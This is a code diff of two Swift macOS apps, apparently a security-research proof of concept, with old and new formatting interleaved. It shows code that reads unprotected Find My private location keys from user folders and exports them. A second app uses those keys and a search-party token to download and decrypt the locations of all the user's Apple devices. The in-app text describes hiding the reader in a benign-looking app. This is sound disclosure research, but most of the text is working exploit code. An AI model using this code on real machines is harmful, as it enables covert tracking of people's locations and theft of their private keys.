if !self.searchPartyTokenString.isEmpty,
|
|
||||||
let file = self.keyPlistFile,
|
|
||||||
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8) {
|
|
||||||
self.searchPartyToken = searchPartyToken
|
|
||||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
|
||||||
}
|
|
||||||
}, label: {
|
|
||||||
Text("Download reports")
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var mapView: some View {
|
|
||||||
ZStack {
|
|
||||||
MapView()
|
|
||||||
VStack {
|
|
||||||
HStack {
|
|
||||||
Spacer()
|
|
||||||
Button(action: {
|
|
||||||
self.showMap = false
|
|
||||||
self.showTokenPrompt = false
|
|
||||||
}, label: {
|
|
||||||
Text("Import other tokens")
|
|
||||||
})
|
|
||||||
|
|
||||||
Button(action: {
|
|
||||||
self.exportDecryptedLocations()
|
|
||||||
|
|
||||||
}, label: {
|
|
||||||
Text("Export")
|
|
||||||
})
|
|
||||||
|
|
||||||
}
|
|
||||||
.padding()
|
|
||||||
Spacer()
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var body: some View {
|
|
||||||
GeometryReader { geo in
|
|
||||||
if self.loading {
|
|
||||||
self.loadingView
|
|
||||||
} else if self.showMap {
|
|
||||||
self.mapView
|
|
||||||
} else if self.showTokenPrompt {
|
|
||||||
self.missingSearchPartyTokenView
|
|
||||||
} else {
|
|
||||||
self.dropView
|
|
||||||
.frame(width: geo.size.width, height: geo.size.height)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
// swiftlint:disable identifier_name
|
|
||||||
func droppedData(data: [NSItemProvider]) -> Bool {
|
|
||||||
guard let itemProvider = data.first else {return false}
|
|
||||||
|
|
||||||
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
|
|
||||||
guard let urlData = u as? Data,
|
|
||||||
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
|
|
||||||
// Only plist supported
|
|
||||||
fileURL.pathExtension == "plist",
|
|
||||||
// Load the file
|
|
||||||
let file = try? Data(contentsOf: fileURL)
|
|
||||||
else {return}
|
|
||||||
|
|
||||||
print("Received data \(fileURL)")
|
|
||||||
|
|
||||||
self.keyPlistFile = file
|
|
||||||
let reportsFetcher = ReportsFetcher()
|
|
||||||
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
|
|
||||||
|
|
||||||
if let searchPartyToken = self.searchPartyToken {
|
|
||||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
|
||||||
} else {
|
|
||||||
self.showTokenPrompt = true
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
|
|
||||||
self.loading = true
|
|
||||||
|
|
||||||
self.findMyController.loadPrivateKeys(from: keyFile, with: searchPartyToken, completion: { error in
|
|
||||||
// Check if an error occurred
|
|
||||||
guard error == nil else {
|
|
||||||
self.error = error
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Show map view
|
|
||||||
self.loading = false
|
|
||||||
self.showMap = true
|
|
||||||
|
|
||||||
|
Button(
|
||||||
|
action: {
|
||||||
|
if !self.searchPartyTokenString.isEmpty,
|
||||||
|
let file = self.keyPlistFile,
|
||||||
|
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8)
|
||||||
|
{
|
||||||
|
self.searchPartyToken = searchPartyToken
|
||||||
|
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
label: {
|
||||||
|
Text("Download reports")
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func exportDecryptedLocations() {
|
var mapView: some View {
|
||||||
do {
|
ZStack {
|
||||||
let devices = self.findMyController.devices
|
MapView()
|
||||||
let deviceData = try PropertyListEncoder().encode(devices)
|
VStack {
|
||||||
|
HStack {
|
||||||
|
Spacer()
|
||||||
|
Button(
|
||||||
|
action: {
|
||||||
|
self.showMap = false
|
||||||
|
self.showTokenPrompt = false
|
||||||
|
},
|
||||||
|
label: {
|
||||||
|
Text("Import other tokens")
|
||||||
|
})
|
||||||
|
|
||||||
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
|
Button(
|
||||||
|
action: {
|
||||||
|
self.exportDecryptedLocations()
|
||||||
|
|
||||||
|
},
|
||||||
|
label: {
|
||||||
|
Text("Export")
|
||||||
|
})
|
||||||
|
|
||||||
} catch {
|
|
||||||
print("Error: \(error)")
|
|
||||||
}
|
}
|
||||||
|
.padding()
|
||||||
|
Spacer()
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var body: some View {
|
||||||
|
GeometryReader { geo in
|
||||||
|
if self.loading {
|
||||||
|
self.loadingView
|
||||||
|
} else if self.showMap {
|
||||||
|
self.mapView
|
||||||
|
} else if self.showTokenPrompt {
|
||||||
|
self.missingSearchPartyTokenView
|
||||||
|
} else {
|
||||||
|
self.dropView
|
||||||
|
.frame(width: geo.size.width, height: geo.size.height)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// swiftlint:disable identifier_name
|
||||||
|
func droppedData(data: [NSItemProvider]) -> Bool {
|
||||||
|
guard let itemProvider = data.first else { return false }
|
||||||
|
|
||||||
|
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
|
||||||
|
guard let urlData = u as? Data,
|
||||||
|
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
|
||||||
|
// Only plist supported
|
||||||
|
fileURL.pathExtension == "plist",
|
||||||
|
// Load the file
|
||||||
|
let file = try? Data(contentsOf: fileURL)
|
||||||
|
else { return }
|
||||||
|
|
||||||
|
print("Received data \(fileURL)")
|
||||||
|
|
||||||
|
self.keyPlistFile = file
|
||||||
|
let reportsFetcher = ReportsFetcher()
|
||||||
|
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
|
||||||
|
|
||||||
|
if let searchPartyToken = self.searchPartyToken {
|
||||||
|
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||||
|
} else {
|
||||||
|
self.showTokenPrompt = true
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
|
||||||
|
self.loading = true
|
||||||
|
|
||||||
|
self.findMyController.loadPrivateKeys(
|
||||||
|
from: keyFile, with: searchPartyToken,
|
||||||
|
completion: { error in
|
||||||
|
// Check if an error occurred
|
||||||
|
guard error == nil else {
|
||||||
|
self.error = error
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Show map view
|
||||||
|
self.loading = false
|
||||||
|
self.showMap = true
|
||||||
|
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func exportDecryptedLocations() {
|
||||||
|
do {
|
||||||
|
let devices = self.findMyController.devices
|
||||||
|
let deviceData = try PropertyListEncoder().encode(devices)
|
||||||
|
|
||||||
|
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
|
||||||
|
|
||||||
|
} catch {
|
||||||
|
print("Error: \(error)")
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
struct ContentView_Previews: PreviewProvider {
|
struct ContentView_Previews: PreviewProvider {
|
||||||
static var previews: some View {
|
static var previews: some View {
|
||||||
OFFetchReportsMainView()
|
OFFetchReportsMainView()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,43 +7,44 @@
|
|||||||
// SPDX-License-Identifier: AGPL-3.0-only
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import AppKit
|
import AppKit
|
||||||
|
import Foundation
|
||||||
|
|
||||||
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
||||||
|
|
||||||
static let shared = SavePanel()
|
static let shared = SavePanel()
|
||||||
|
|
||||||
var fileToSave: Data?
|
var fileToSave: Data?
|
||||||
var fileExtension: String?
|
var fileExtension: String?
|
||||||
var panel: NSSavePanel?
|
var panel: NSSavePanel?
|
||||||
|
|
||||||
func saveFile(file: Data, fileExtension: String) {
|
func saveFile(file: Data, fileExtension: String) {
|
||||||
self.fileToSave = file
|
self.fileToSave = file
|
||||||
self.fileExtension = fileExtension
|
self.fileExtension = fileExtension
|
||||||
|
|
||||||
self.panel = NSSavePanel()
|
self.panel = NSSavePanel()
|
||||||
self.panel?.delegate = self
|
self.panel?.delegate = self
|
||||||
self.panel?.title = "Export Find My Locations"
|
self.panel?.title = "Export Find My Locations"
|
||||||
self.panel?.prompt = "Export"
|
self.panel?.prompt = "Export"
|
||||||
self.panel?.nameFieldLabel = "Find My Locations"
|
self.panel?.nameFieldLabel = "Find My Locations"
|
||||||
self.panel?.nameFieldStringValue = "findMyLocations.plist"
|
self.panel?.nameFieldStringValue = "findMyLocations.plist"
|
||||||
self.panel?.allowedFileTypes = ["plist"]
|
self.panel?.allowedFileTypes = ["plist"]
|
||||||
|
|
||||||
let result = self.panel?.runModal()
|
let result = self.panel?.runModal()
|
||||||
|
|
||||||
if result == NSApplication.ModalResponse.OK {
|
|
||||||
// Save file
|
|
||||||
let fileURL = self.panel?.url
|
|
||||||
try! self.fileToSave?.write(to: fileURL!)
|
|
||||||
}
|
|
||||||
|
|
||||||
|
if result == NSApplication.ModalResponse.OK {
|
||||||
|
// Save file
|
||||||
|
let fileURL = self.panel?.url
|
||||||
|
try! self.fileToSave?.write(to: fileURL!)
|
||||||
}
|
}
|
||||||
|
|
||||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
|
}
|
||||||
guard okFlag else {return nil}
|
|
||||||
|
|
||||||
return filename
|
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
|
||||||
}
|
{
|
||||||
|
guard okFlag else { return nil }
|
||||||
|
|
||||||
|
return filename
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,34 +8,34 @@
|
|||||||
//
|
//
|
||||||
|
|
||||||
import Cocoa
|
import Cocoa
|
||||||
import SwiftUI
|
|
||||||
import CoreLocation
|
import CoreLocation
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
@NSApplicationMain
|
@NSApplicationMain
|
||||||
class AppDelegate: NSObject, NSApplicationDelegate {
|
class AppDelegate: NSObject, NSApplicationDelegate {
|
||||||
|
|
||||||
var window: NSWindow!
|
var window: NSWindow!
|
||||||
|
|
||||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||||
// Create the SwiftUI view that provides the window contents.
|
// Create the SwiftUI view that provides the window contents.
|
||||||
let contentView = ContentView()
|
let contentView = ContentView()
|
||||||
|
|
||||||
// Create the window and set the content view.
|
// Create the window and set the content view.
|
||||||
window = NSWindow(
|
window = NSWindow(
|
||||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||||
backing: .buffered, defer: false)
|
backing: .buffered, defer: false)
|
||||||
window.center()
|
window.center()
|
||||||
window.setFrameAutosaveName("Main Window")
|
window.setFrameAutosaveName("Main Window")
|
||||||
window.contentView = NSHostingView(rootView: contentView)
|
window.contentView = NSHostingView(rootView: contentView)
|
||||||
window.makeKeyAndOrderFront(nil)
|
window.makeKeyAndOrderFront(nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
func applicationWillTerminate(_ aNotification: Notification) {
|
func applicationWillTerminate(_ aNotification: Notification) {
|
||||||
// Insert code here to tear down your application
|
// Insert code here to tear down your application
|
||||||
}
|
}
|
||||||
|
|
||||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,84 +7,89 @@
|
|||||||
// SPDX-License-Identifier: AGPL-3.0-only
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
|
||||||
import OSLog
|
import OSLog
|
||||||
|
import SwiftUI
|
||||||
|
|
||||||
struct ContentView: View {
|
struct ContentView: View {
|
||||||
|
|
||||||
@State var keysInfo: String?
|
@State var keysInfo: String?
|
||||||
|
|
||||||
var body: some View {
|
var body: some View {
|
||||||
ZStack {
|
ZStack {
|
||||||
VStack {
|
VStack {
|
||||||
Spacer()
|
Spacer()
|
||||||
|
|
||||||
self.infoText
|
self.infoText
|
||||||
.padding()
|
.padding()
|
||||||
|
|
||||||
Button(action: {
|
Button(
|
||||||
self.readPrivateKeys()
|
action: {
|
||||||
}, label: {
|
self.readPrivateKeys()
|
||||||
Text("Read private offline finding keys")
|
},
|
||||||
.font(.headline)
|
label: {
|
||||||
.foregroundColor(Color.black)
|
Text("Read private offline finding keys")
|
||||||
.padding()
|
.font(.headline)
|
||||||
.background(
|
.foregroundColor(Color.black)
|
||||||
RoundedRectangle(cornerRadius: 7.0)
|
.padding()
|
||||||
.fill(Color(white: 7.0).opacity(0.7))
|
.background(
|
||||||
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
|
RoundedRectangle(cornerRadius: 7.0)
|
||||||
)
|
.fill(Color(white: 7.0).opacity(0.7))
|
||||||
|
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
|
||||||
|
)
|
||||||
|
|
||||||
})
|
}
|
||||||
.buttonStyle(PlainButtonStyle())
|
)
|
||||||
|
.buttonStyle(PlainButtonStyle())
|
||||||
self.keysInfo.map { (keysInfo) in
|
|
||||||
Text(keysInfo)
|
|
||||||
.padding()
|
|
||||||
}
|
|
||||||
|
|
||||||
Spacer()
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
|
self.keysInfo.map { (keysInfo) in
|
||||||
|
Text(keysInfo)
|
||||||
|
.padding()
|
||||||
}
|
}
|
||||||
.frame(width: 800, height: 600)
|
|
||||||
|
Spacer()
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
.frame(width: 800, height: 600)
|
||||||
|
|
||||||
var infoText: some View {
|
}
|
||||||
// swiftlint:disable line_length
|
|
||||||
Text("This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of") +
|
var infoText: some View {
|
||||||
Text(" all ").bold() +
|
// swiftlint:disable line_length
|
||||||
Text("Apple devices of the current user.\n\n") +
|
Text(
|
||||||
Text("To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user.")
|
"This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
|
||||||
// swiftlint:enable line_length
|
) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
|
||||||
|
+ Text(
|
||||||
|
"To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
|
||||||
|
)
|
||||||
|
// swiftlint:enable line_length
|
||||||
|
}
|
||||||
|
|
||||||
|
func readPrivateKeys() {
|
||||||
|
|
||||||
|
do {
|
||||||
|
let devices = try FindMyKeyExtractor.readPrivateKeys()
|
||||||
|
let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
|
||||||
|
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
|
||||||
|
self.saveExportedKeys(keys: devices)
|
||||||
|
} catch {
|
||||||
|
os_log(.error, "Could not load keys %@", error.localizedDescription)
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func readPrivateKeys() {
|
func saveExportedKeys(keys: [FindMyDevice]) {
|
||||||
|
do {
|
||||||
do {
|
let keysPlist = try PropertyListEncoder().encode(keys)
|
||||||
let devices = try FindMyKeyExtractor.readPrivateKeys()
|
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
|
||||||
let numberOfKeys = devices.reduce(0, {$0 + $1.keys.count})
|
} catch {
|
||||||
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
|
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
|
||||||
self.saveExportedKeys(keys: devices)
|
|
||||||
} catch {
|
|
||||||
os_log(.error, "Could not load keys %@", error.localizedDescription)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func saveExportedKeys(keys: [FindMyDevice]) {
|
|
||||||
do {
|
|
||||||
let keysPlist = try PropertyListEncoder().encode(keys)
|
|
||||||
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
|
|
||||||
} catch {
|
|
||||||
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
struct ContentView_Previews: PreviewProvider {
|
struct ContentView_Previews: PreviewProvider {
|
||||||
static var previews: some View {
|
static var previews: some View {
|
||||||
ContentView()
|
ContentView()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,219 +7,227 @@
|
|||||||
// SPDX-License-Identifier: AGPL-3.0-only
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import CryptoKit
|
import CryptoKit
|
||||||
|
import Foundation
|
||||||
import OSLog
|
import OSLog
|
||||||
|
|
||||||
struct FindMyKeyExtractor {
|
struct FindMyKeyExtractor {
|
||||||
// swiftlint:disable identifier_name
|
// swiftlint:disable identifier_name
|
||||||
|
|
||||||
/// This function reads the private keys of the Offline Finding Location system. They will
|
/// This function reads the private keys of the Offline Finding Location system. They will
|
||||||
/// - Throws: Error when accessing files fails
|
/// - Throws: Error when accessing files fails
|
||||||
/// - Returns: Devices and their respective keys
|
/// - Returns: Devices and their respective keys
|
||||||
static func readPrivateKeys() throws -> [FindMyDevice] {
|
static func readPrivateKeys() throws -> [FindMyDevice] {
|
||||||
var devices = [FindMyDevice]()
|
var devices = [FindMyDevice]()
|
||||||
os_log(.debug, "Looking for keys")
|
os_log(.debug, "Looking for keys")
|
||||||
|
|
||||||
|
do {
|
||||||
|
|
||||||
|
// The key files have moved with macOS 10.15.4
|
||||||
|
let macOS10_15_3Devices = try self.readFromOldLocation()
|
||||||
|
devices.append(contentsOf: macOS10_15_3Devices)
|
||||||
|
} catch {
|
||||||
|
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
// Tries to discover the new location of the keys
|
||||||
|
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
|
||||||
|
devices.append(contentsOf: macOS10_15_4Devices)
|
||||||
|
} catch {
|
||||||
|
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
|
||||||
|
}
|
||||||
|
|
||||||
|
return devices
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - macOS 10.15.0 - 10.15.3
|
||||||
|
|
||||||
|
/// Reads the find my keys from the location used until macOS 10.15.3
|
||||||
|
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
|
||||||
|
/// - Returns: An array of find my devices including their keys
|
||||||
|
static func readFromOldLocation() throws -> [FindMyDevice] {
|
||||||
|
// Access the find my directory where the private advertisement keys are stored unencrypted
|
||||||
|
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
|
||||||
|
|
||||||
|
let fm = FileManager.default
|
||||||
|
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
|
||||||
|
.first?.appendingPathComponent(directoryPath)
|
||||||
|
let folders = try fm.contentsOfDirectory(
|
||||||
|
at: privateKeysPath!,
|
||||||
|
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||||
|
guard folders.isEmpty == false else { throw FindMyError.noFoldersFound }
|
||||||
|
|
||||||
|
print("Found \(folders.count) folders")
|
||||||
|
var devices = [FindMyDevice]()
|
||||||
|
|
||||||
|
for folderURL in folders {
|
||||||
|
let keyFiles = try fm.contentsOfDirectory(
|
||||||
|
at: folderURL,
|
||||||
|
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||||
|
// Check if keys are available
|
||||||
|
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
|
||||||
|
guard keyFiles.isEmpty == false else { continue }
|
||||||
|
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
|
||||||
|
|
||||||
|
for url in keyFiles {
|
||||||
do {
|
do {
|
||||||
|
if url.pathExtension == "keys" {
|
||||||
// The key files have moved with macOS 10.15.4
|
let keyPlist = try Data(contentsOf: url)
|
||||||
let macOS10_15_3Devices = try self.readFromOldLocation()
|
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
|
||||||
devices.append(contentsOf: macOS10_15_3Devices)
|
device.keys.append(keyInfo)
|
||||||
|
}
|
||||||
} catch {
|
} catch {
|
||||||
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
|
print("Could not load key file ", error)
|
||||||
}
|
}
|
||||||
|
|
||||||
do {
|
}
|
||||||
// Tries to discover the new location of the keys
|
|
||||||
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
|
|
||||||
devices.append(contentsOf: macOS10_15_4Devices)
|
|
||||||
} catch {
|
|
||||||
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
|
|
||||||
}
|
|
||||||
|
|
||||||
return devices
|
devices.append(device)
|
||||||
}
|
}
|
||||||
|
|
||||||
// MARK: - macOS 10.15.0 - 10.15.3
|
return devices
|
||||||
|
}
|
||||||
|
|
||||||
/// Reads the find my keys from the location used until macOS 10.15.3
|
/// Parses the key plist file used until macOS 10.15.3
|
||||||
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
|
/// - Parameter keyFile: Propery list data
|
||||||
/// - Returns: An array of find my devices including their keys
|
/// - Returns: Find My private Key
|
||||||
static func readFromOldLocation() throws -> [FindMyDevice] {
|
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
|
||||||
// Access the find my directory where the private advertisement keys are stored unencrypted
|
guard
|
||||||
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
|
let keyDict = try PropertyListSerialization.propertyList(
|
||||||
|
from: keyFile,
|
||||||
let fm = FileManager.default
|
options: .init(), format: nil) as? [String: Any],
|
||||||
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
|
let advertisedKey = keyDict["A"] as? Data,
|
||||||
.first?.appendingPathComponent(directoryPath)
|
let privateKey = keyDict["PR"] as? Data,
|
||||||
let folders = try fm.contentsOfDirectory(at: privateKeysPath!,
|
let timeValues = keyDict["D"] as? [Double],
|
||||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
let pu = keyDict["PU"] as? Data
|
||||||
guard folders.isEmpty == false else {throw FindMyError.noFoldersFound}
|
else {
|
||||||
|
throw FindMyError.parsingFailed
|
||||||
print("Found \(folders.count) folders")
|
|
||||||
var devices = [FindMyDevice]()
|
|
||||||
|
|
||||||
for folderURL in folders {
|
|
||||||
let keyFiles = try fm.contentsOfDirectory(at: folderURL,
|
|
||||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
|
||||||
// Check if keys are available
|
|
||||||
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
|
|
||||||
guard keyFiles.isEmpty == false else {continue}
|
|
||||||
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
|
|
||||||
|
|
||||||
for url in keyFiles {
|
|
||||||
do {
|
|
||||||
if url.pathExtension == "keys" {
|
|
||||||
let keyPlist = try Data(contentsOf: url)
|
|
||||||
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
|
|
||||||
device.keys.append(keyInfo)
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
print("Could not load key file ", error)
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
devices.append(device)
|
|
||||||
}
|
|
||||||
|
|
||||||
return devices
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Parses the key plist file used until macOS 10.15.3
|
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
|
||||||
/// - Parameter keyFile: Propery list data
|
let hashedKey = Data(hashedKeyDigest)
|
||||||
/// - Returns: Find My private Key
|
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
|
||||||
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
|
let duration = timeValues[1]
|
||||||
guard let keyDict = try PropertyListSerialization.propertyList(from: keyFile,
|
|
||||||
options: .init(), format: nil) as? [String: Any],
|
|
||||||
let advertisedKey = keyDict["A"] as? Data,
|
|
||||||
let privateKey = keyDict["PR"] as? Data,
|
|
||||||
let timeValues = keyDict["D"] as? [Double],
|
|
||||||
let pu = keyDict["PU"] as? Data
|
|
||||||
else {
|
|
||||||
throw FindMyError.parsingFailed
|
|
||||||
}
|
|
||||||
|
|
||||||
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
|
return FindMyKey(
|
||||||
let hashedKey = Data(hashedKeyDigest)
|
advertisedKey: advertisedKey,
|
||||||
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
|
hashedKey: hashedKey,
|
||||||
let duration = timeValues[1]
|
privateKey: privateKey,
|
||||||
|
startTime: time,
|
||||||
|
duration: duration,
|
||||||
|
pu: pu,
|
||||||
|
yCoordinate: nil,
|
||||||
|
fullKey: nil)
|
||||||
|
}
|
||||||
|
|
||||||
return FindMyKey(advertisedKey: advertisedKey,
|
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
|
||||||
hashedKey: hashedKey,
|
|
||||||
privateKey: privateKey,
|
|
||||||
startTime: time,
|
|
||||||
duration: duration,
|
|
||||||
pu: pu,
|
|
||||||
yCoordinate: nil,
|
|
||||||
fullKey: nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
|
/// Find the randomized key folder which is used since macOS 10.15.4
|
||||||
|
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
|
||||||
|
static func findRamdomKeyFolder() -> [URL] {
|
||||||
|
os_log(.debug, "Searching for cached keys folder")
|
||||||
|
var folderURLs = [URL]()
|
||||||
|
let foldersPath = "/private/var/folders/"
|
||||||
|
let fm = FileManager.default
|
||||||
|
|
||||||
/// Find the randomized key folder which is used since macOS 10.15.4
|
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
|
||||||
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
|
do {
|
||||||
static func findRamdomKeyFolder() -> [URL] {
|
let randomSubfolders = try fm.contentsOfDirectory(
|
||||||
os_log(.debug, "Searching for cached keys folder")
|
at: url,
|
||||||
var folderURLs = [URL]()
|
includingPropertiesForKeys: nil,
|
||||||
let foldersPath = "/private/var/folders/"
|
options: .includesDirectoriesPostOrder)
|
||||||
let fm = FileManager.default
|
|
||||||
|
|
||||||
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
|
|
||||||
do {
|
|
||||||
let randomSubfolders = try fm.contentsOfDirectory(at: url,
|
|
||||||
includingPropertiesForKeys: nil,
|
|
||||||
options: .includesDirectoriesPostOrder)
|
|
||||||
|
|
||||||
for folder in randomSubfolders {
|
|
||||||
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
|
|
||||||
urlArray.append(folder.appendingPathComponent("Keys"))
|
|
||||||
os_log(.debug, "Found folder at: %@", folder.path)
|
|
||||||
break
|
|
||||||
} else {
|
|
||||||
recursiveSearch(from: folder, urlArray: &urlArray)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
} catch {
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
|
for folder in randomSubfolders {
|
||||||
|
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
|
||||||
|
urlArray.append(folder.appendingPathComponent("Keys"))
|
||||||
|
os_log(.debug, "Found folder at: %@", folder.path)
|
||||||
|
break
|
||||||
|
} else {
|
||||||
|
recursiveSearch(from: folder, urlArray: &urlArray)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
|
} catch {
|
||||||
|
|
||||||
return folderURLs
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
|
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
|
||||||
/// - Throws: An error if the key folder cannot be fould
|
|
||||||
/// - Returns: An array of devices including their keys
|
|
